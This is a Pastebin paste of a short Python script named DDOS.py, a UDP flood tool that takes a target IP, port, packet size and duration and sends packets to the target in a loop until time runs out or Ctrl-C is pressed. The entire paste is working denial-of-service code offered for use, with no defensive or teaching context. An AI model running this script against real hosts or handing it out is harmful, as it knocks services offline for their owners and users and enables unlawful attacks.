Advertisement
dev017

DDOS.py

Aug 9th, 2023
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import socket
  2. import sys
  3. import random
  4. import time
  5.  
  6. if len(sys.argv) != 5:
  7.     print("-Tip on use : python DDoS.py")
  8.     sys.exit(1)
  9.  
  10. ip = sys.argv[1]
  11. port = int(sys.argv[2])
  12. size = int(sys.argv[3])
  13. time_duration = int(sys.argv[4])
  14.  
  15. iaddr = socket.gethostbyname(ip)
  16. endtime = time.time() + time_duration if time_duration else time.time() + 1000000
  17.  
  18. print("~To cancel the attack press 'Ctrl-C'\n")
  19. print("|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n")
  20. print("|{0}|\t |{1}|\t\t |{2}|\t\t |{3}|\n".format(ip, port, size, time_duration))
  21.  
  22. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  23.  
  24. try:
  25.     while time.time() <= endtime:
  26.         psize = size if size else random.randint(64, 1500)
  27.         pport = port if port else random.randint(1, 65500)
  28.         sock.sendto(b'flood' * psize, (ip, pport))
  29. except KeyboardInterrupt:
  30.     print("Attack cancelled.")
  31.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement